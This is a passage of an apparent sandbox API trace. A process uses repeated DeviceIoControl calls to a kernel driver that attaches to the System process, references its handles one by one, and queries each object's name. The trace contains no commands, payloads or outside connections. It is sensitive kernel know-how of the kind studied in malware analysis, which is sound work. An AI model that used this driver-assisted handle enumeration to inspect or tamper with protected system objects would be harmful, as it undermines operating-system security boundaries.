ObQueryNameString (in: Object=0xfffffa80037f5f20, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.325] ObfDereferenceObject (Object=0xfffffa80037f5f20) returned 0x2 [0135.325] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.325] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.325] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.325] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.325] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.326] PsAcquireProcessExitSynchronization () returned 0x0 [0135.326] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.326] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a48, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001eeeac0, HandleInformation=0x0) returned 0x0 [0135.326] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.326] PsReleaseProcessExitSynchronization () returned 0x2 [0135.326] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.326] ObQueryNameString (in: Object=0xfffffa8001eeeac0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.326] ObfDereferenceObject (Object=0xfffffa8001eeeac0) returned 0x2 [0135.326] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.326] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.326] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.326] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.326] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.326] PsAcquireProcessExitSynchronization () returned 0x0 [0135.326] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.326] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a4c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800f9bff20, HandleInformation=0x0) returned 0x0 [0135.326] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.326] PsReleaseProcessExitSynchronization () returned 0x2 [0135.326] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.326] ObQueryNameString (in: Object=0xfffffa800f9bff20, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.326] ObfDereferenceObject (Object=0xfffffa800f9bff20) returned 0x2 [0135.326] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.326] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.326] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.326] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.326] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.326] PsAcquireProcessExitSynchronization () returned 0x0 [0135.326] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.326] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a50, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001fe24c0, HandleInformation=0x0) returned 0x0 [0135.326] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.326] PsReleaseProcessExitSynchronization () returned 0x2 [0135.326] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.326] ObQueryNameString (in: Object=0xfffffa8001fe24c0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.327] ObfDereferenceObject (Object=0xfffffa8001fe24c0) returned 0x2 [0135.327] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.327] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.327] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.327] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.327] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.327] PsAcquireProcessExitSynchronization () returned 0x0 [0135.327] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.327] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a54, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037f3460, HandleInformation=0x0) returned 0x0 [0135.327] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.327] PsReleaseProcessExitSynchronization () returned 0x2 [0135.327] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.327] ObQueryNameString (in: Object=0xfffffa80037f3460, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.327] ObfDereferenceObject (Object=0xfffffa80037f3460) returned 0x2 [0135.327] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.327] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.327] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.327] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.327] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.327] PsAcquireProcessExitSynchronization () returned 0x0 [0135.327] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.327] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80024f8f20, HandleInformation=0x0) returned 0x0 [0135.327] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.327] PsReleaseProcessExitSynchronization () returned 0x2 [0135.327] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.327] ObQueryNameString (in: Object=0xfffffa80024f8f20, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.327] ObfDereferenceObject (Object=0xfffffa80024f8f20) returned 0x2 [0135.327] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.327] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.327] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.327] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.327] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.328] PsAcquireProcessExitSynchronization () returned 0x0 [0135.328] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.328] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002401f20, HandleInformation=0x0) returned 0x0 [0135.328] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.328] PsReleaseProcessExitSynchronization () returned 0x2 [0135.328] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.328] ObQueryNameString (in: Object=0xfffffa8002401f20, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.328] ObfDereferenceObject (Object=0xfffffa8002401f20) returned 0x2 [0135.328] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.328] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.328] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.328] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.328] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.328] PsAcquireProcessExitSynchronization () returned 0x0 [0135.328] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.328] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a70, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800390e050, HandleInformation=0x0) returned 0x0 [0135.328] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.328] PsReleaseProcessExitSynchronization () returned 0x2 [0135.328] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.328] ObQueryNameString (in: Object=0xfffffa800390e050, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.328] ObfDereferenceObject (Object=0xfffffa800390e050) returned 0x2 [0135.328] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.328] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.328] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.328] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.328] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.328] PsAcquireProcessExitSynchronization () returned 0x0 [0135.328] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.328] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800250a420, HandleInformation=0x0) returned 0x0 [0135.329] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.329] PsReleaseProcessExitSynchronization () returned 0x2 [0135.329] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.329] ObQueryNameString (in: Object=0xfffffa800250a420, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.329] ObfDereferenceObject (Object=0xfffffa800250a420) returned 0x2 [0135.329] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.329] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.329] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.329] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.329] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.329] PsAcquireProcessExitSynchronization () returned 0x0 [0135.329] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.329] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80036033c0, HandleInformation=0x0) returned 0x0 [0135.329] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.329] PsReleaseProcessExitSynchronization () returned 0x2 [0135.329] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.329] ObQueryNameString (in: Object=0xfffffa80036033c0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0135.329] ObfDereferenceObject (Object=0xfffffa80036033c0) returned 0x2 [0135.329] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.329] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.329] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.329] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.329] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.329] PsAcquireProcessExitSynchronization () returned 0x0 [0135.329] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.329] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80021b1930, HandleInformation=0x0) returned 0x0 [0135.329] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.329] PsReleaseProcessExitSynchronization () returned 0x2 [0135.329] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.329] ObQueryNameString (in: Object=0xfffffa80021b1930, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.330] ObfDereferenceObject (Object=0xfffffa80021b1930) returned 0x2 [0135.330] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.330] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.330] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.330] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1ec05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0135.330] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.330] PsAcquireProcessExitSynchronization () returned 0x0 [0135.330] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.330] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a94, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0135.330] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.330] PsReleaseProcessExitSynchronization () returned 0x2 [0135.330] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.330] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.330] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.330] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.330] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.330] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.330] PsAcquireProcessExitSynchronization () returned 0x0 [0135.410] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.410] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80026dd050, HandleInformation=0x0) returned 0x0 [0135.410] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.410] PsReleaseProcessExitSynchronization () returned 0x2 [0135.410] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.410] ObQueryNameString (in: Object=0xfffffa80026dd050, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.410] ObfDereferenceObject (Object=0xfffffa80026dd050) returned 0x2 [0135.410] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.410] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.410] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.410] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.410] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.410] PsAcquireProcessExitSynchronization () returned 0x0 [0135.410] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.411] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800a16a2a0, HandleInformation=0x0) returned 0x0 [0135.411] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.411] PsReleaseProcessExitSynchronization () returned 0x2 [0135.411] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.411] ObQueryNameString (in: Object=0xfffffa800a16a2a0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.411] ObfDereferenceObject (Object=0xfffffa800a16a2a0) returned 0x2 [0135.411] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.411] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.411] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.411] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.411] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.411] PsAcquireProcessExitSynchronization () returned 0x0 [0135.411] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.411] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8010da5050, HandleInformation=0x0) returned 0x0 [0135.411] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.411] PsReleaseProcessExitSynchronization () returned 0x2 [0135.411] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.411] ObQueryNameString (in: Object=0xfffffa8010da5050, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.411] ObfDereferenceObject (Object=0xfffffa8010da5050) returned 0x2 [0135.411] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.411] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.411] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.411] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.411] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.411] PsAcquireProcessExitSynchronization () returned 0x0 [0135.411] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.411] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ab0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003161e20, HandleInformation=0x0) returned 0x0 [0135.411] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.411] PsReleaseProcessExitSynchronization () returned 0x2 [0135.411] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.411] ObQueryNameString (in: Object=0xfffffa8003161e20, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.411] ObfDereferenceObject (Object=0xfffffa8003161e20) returned 0x2 [0135.411] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.412] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.412] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.412] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.412] 